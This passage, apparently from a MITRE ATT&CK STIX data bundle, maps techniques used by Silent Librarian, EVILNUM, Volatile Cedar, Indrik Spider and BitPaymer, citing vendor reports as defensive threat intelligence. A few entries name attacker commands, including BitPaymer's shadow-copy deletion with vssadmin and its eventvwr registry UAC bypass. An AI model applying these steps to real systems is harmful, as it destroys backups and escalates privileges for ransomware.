                    "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment",
                    "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Secureworks COBALT DICKENS August 2018",
                    "url": "https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities",
                    "description": "Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Secureworks COBALT DICKENS September 2019",
                    "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again",
                    "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has acquired domains to establish credential harvesting pages, often spoofing the target organization and using free top level domains .TK, .ML, .GA, .CF, and .GQ.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2021-04-21T02:25:51.044Z",
            "created": "2021-02-03T18:13:28.308Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "external_references": [
                {
                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has used compromised credentials to obtain unauthorized access to online accounts.(Citation: DOJ Iran Indictments March 2018)",
            "relationship_type": "uses",
            "id": "relationship--e85549b5-77c8-426a-b7ea-fec30b05973f",
            "type": "relationship",
            "modified": "2021-04-21T11:59:13.573Z",
            "created": "2021-02-03T18:13:28.321Z"
        },
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            "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c",
            "external_references": [
                {
                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has used collected lists of names and e-mail accounts to use in password spraying attacks against private sector targets.(Citation: DOJ Iran Indictments March 2018)",
            "relationship_type": "uses",
            "id": "relationship--93edbfc7-c1be-4c2c-aa2c-9b15f53f6528",
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            ],
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            "external_references": [
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                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has collected lists of names for individuals from targeted organizations.(Citation: DOJ Iran Indictments March 2018)",
            "relationship_type": "uses",
            "id": "relationship--53608455-3b90-45b1-9006-da343efa52d4",
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            "external_references": [
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                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has collected e-mail addresses from targeted organizations from open Internet searches.(Citation: DOJ Iran Indictments March 2018)",
            "relationship_type": "uses",
            "id": "relationship--87661f05-f448-49be-afa8-d8198a1c0092",
            "type": "relationship",
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            "external_references": [
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                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has set up auto forwarding rules on compromised e-mail accounts.(Citation: DOJ Iran Indictments March 2018)",
            "relationship_type": "uses",
            "id": "relationship--67f029d5-c44b-446b-9efe-0e0e0d85192a",
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                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has exfiltrated entire mailboxes from compromised accounts.(Citation: DOJ Iran Indictments March 2018)",
            "relationship_type": "uses",
            "id": "relationship--406fbbc1-408a-4f59-8f0c-0f670eb60879",
            "type": "relationship",
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            "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a",
            "external_references": [
                {
                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has established e-mail accounts to receive e-mails forwarded from compromised accounts.(Citation: DOJ Iran Indictments March 2018)",
            "relationship_type": "uses",
            "id": "relationship--83219112-6e5b-43ea-a7a7-78213f28397f",
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            ],
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            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "external_references": [
                {
                    "source_name": "Prevailion EvilNum May 2020",
                    "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html",
                    "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021."
                }
            ],
            "description": "[EVILNUM](https://attack.mitre.org/software/S0568) has changed the creation date of files.(Citation: Prevailion EvilNum May 2020)",
            "relationship_type": "uses",
            "id": "relationship--8f8618b7-f197-4869-bb35-3ca58d171be0",
            "type": "relationship",
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        {
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            ],
            "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "Prevailion EvilNum May 2020",
                    "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html",
                    "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021."
                }
            ],
            "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can upload files over the C2 channel from the infected host.(Citation: Prevailion EvilNum May 2020) ",
            "relationship_type": "uses",
            "id": "relationship--8167df91-ca5b-4a65-b94e-a40e6d54ad40",
            "type": "relationship",
            "modified": "2021-02-03T19:05:17.852Z",
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        {
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            "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "external_references": [
                {
                    "source_name": "Prevailion EvilNum May 2020",
                    "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html",
                    "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021."
                }
            ],
            "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can execute commands and scripts through rundll32.(Citation: Prevailion EvilNum May 2020) ",
            "relationship_type": "uses",
            "id": "relationship--c18efb6c-f31d-43b8-8ddb-5d6ffce64018",
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            "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
            "external_references": [
                {
                    "source_name": "Prevailion EvilNum May 2020",
                    "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html",
                    "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021."
                }
            ],
            "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can harvest cookies and upload them to the C2 server.(Citation: Prevailion EvilNum May 2020)",
            "relationship_type": "uses",
            "id": "relationship--8785b9f9-52dd-4bf5-8e88-b80c4c28dc7f",
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            "external_references": [
                {
                    "source_name": "Prevailion EvilNum May 2020",
                    "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html",
                    "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021."
                }
            ],
            "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can search for anti-virus products on the system.(Citation: Prevailion EvilNum May 2020)",
            "relationship_type": "uses",
            "id": "relationship--ce853f8b-4aab-4404-a8d0-d9d024f1eda6",
            "type": "relationship",
            "modified": "2021-02-03T19:05:17.901Z",
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        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de",
            "target_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db",
            "external_references": [
                {
                    "source_name": "Prevailion EvilNum May 2020",
                    "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html",
                    "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021."
                }
            ],
            "description": "(Citation: Prevailion EvilNum May 2020)",
            "relationship_type": "uses",
            "id": "relationship--81cf0260-877d-47ba-b98d-5d2cea453cdf",
            "type": "relationship",
            "modified": "2021-02-03T19:12:30.480Z",
            "created": "2021-02-03T19:12:30.480Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384",
            "target_ref": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421",
            "external_references": [
                {
                    "source_name": "Phish Labs Silent Librarian",
                    "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment",
                    "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Secureworks COBALT DICKENS September 2019",
                    "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again",
                    "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has obtained free Let's Encrypt SSL certificates for use on their phishing pages.(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS September 2019)",
            "relationship_type": "uses",
            "id": "relationship--1a2119a2-6a39-4062-b90c-bffd15b259ec",
            "type": "relationship",
            "modified": "2021-02-04T14:43:12.963Z",
            "created": "2021-02-04T14:12:26.131Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384",
            "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0",
            "external_references": [
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Secureworks COBALT DICKENS September 2019",
                    "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again",
                    "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has obtained free and publicly available tools including SingleFile and HTTrack to copy login pages of targeted organizations.(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)",
            "relationship_type": "uses",
            "id": "relationship--d970ba14-4c96-4f98-a1e1-4417f52b76f3",
            "type": "relationship",
            "modified": "2021-04-21T02:25:51.099Z",
            "created": "2021-02-04T14:30:37.973Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3",
            "target_ref": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                },
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) has performed vulnerability scans of the target server.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--1637c874-852e-4ab9-b6e0-2c855da74ef0",
            "type": "relationship",
            "modified": "2021-02-10T18:04:49.116Z",
            "created": "2021-02-08T20:30:30.984Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3",
            "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                },
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) can inject web shell code into a server.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--60b2c702-e2f4-47fd-a009-3ba561bceeb8",
            "type": "relationship",
            "modified": "2021-02-10T18:04:49.130Z",
            "created": "2021-02-08T21:24:53.101Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3",
            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                },
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) has targeted publicly facing web servers, with both automatic and manual vulnerability discovery.(Citation: CheckPoint Volatile Cedar March 2015) (Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--c4bc8f71-e4f4-42b8-a39f-b4512987a423",
            "type": "relationship",
            "modified": "2021-02-10T18:04:49.164Z",
            "created": "2021-02-08T21:24:53.117Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "external_references": [
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                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                },
                {
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                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has leveraged its keylogging capabilities to gain access to administrator accounts on target servers.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ",
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                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has a function to download a file to the infected system.(Citation: CheckPoint Volatile Cedar March 2015) ",
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                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has a function to use the OpenClipboard wrapper.(Citation: CheckPoint Volatile Cedar March 2015) ",
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                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has a function to write itself to Registry values.(Citation: CheckPoint Volatile Cedar March 2015) ",
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                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                },
                {
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            ],
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                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has encrypted domain-controlled systems using [BitPaymer](https://attack.mitre.org/software/S0570).(Citation: Crowdstrike Indrik November 2018)",
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                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) used fake updates for FlashPlayer plugin and Google Chrome as initial infection vectors.(Citation: Crowdstrike Indrik November 2018)",
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                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has collected credentials from infected systems, including domain accounts.(Citation: Crowdstrike Indrik November 2018)",
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                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has downloaded and installed the Dridex loader on compromised machines.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
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                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) compares file names and paths to a list of excluded names and directory names during encryption.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
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                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) attempts to remove the backup shadow files from the host using <code>vssadmin.exe Delete Shadows /All /Quiet</code>.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
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                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can use the tokens of users to create processes on infected systems.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--6edd6f1b-3907-4013-b2e0-ceb03ccf427a",
            "type": "relationship",
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                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can import a hard-coded RSA 1024-bit public key, generate a 128-bit RC4 key for each file, and encrypt the file in place, appending <code>.locked</code> to the filename.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
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                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can use <code>net view</code> to discover remote systems.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
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                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can enumerate the sessions for each user logged onto the infected host.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "external_references": [
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                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can modify the timestamp of an executable so that it can be identified and restored by the decryption tool.(Citation: Crowdstrike Indrik November 2018)",
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            "id": "relationship--5793708d-b25a-4276-9b0b-697a8494e0f8",
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            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "external_references": [
                {
                    "source_name": "Crowdstrike Indrik November 2018",
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                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can search for network shares on the domain or workgroup using <code>net view <host></code>.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--6743c3f6-7f4f-40b3-bc9e-fe488f81f5e1",
            "type": "relationship",
            "modified": "2021-02-08T23:18:31.833Z",
            "created": "2021-02-08T23:18:31.833Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100",
            "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
            "external_references": [
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) has copied itself to the <code>:bin</code> alternate data stream of a newly created file.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--c42f802b-394c-4d6f-bc3f-bf039c971cae",
            "type": "relationship",
            "modified": "2021-02-08T23:18:31.876Z",
            "created": "2021-02-08T23:18:31.876Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) has used dynamic API resolution to avoid identifiable strings within the binary, including <code>RegEnumKeyW</code>.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--f66247c0-1d4b-475b-8336-04530edb1455",
            "type": "relationship",
            "modified": "2021-02-08T23:18:31.879Z",
            "created": "2021-02-08T23:18:31.879Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "external_references": [
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can suppress UAC prompts by setting the <code>HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command</code> registry key on Windows 10 or <code>HKCU\\Software\\Classes\\mscfile\\shell\\open\\command</code> on Windows 7 and launching the <code>eventvwr.msc</code> process, which launches [BitPaymer](https://attack.mitre.org/software/S0570) with elevated privileges.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--a1862cc9-ba25-4d48-b2d5-55781dd1fa3e",
            "type": "relationship",
            "modified": "2021-02-08T23:18:31.896Z",
            "created": "2021-02-08T23:18:31.896Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100",
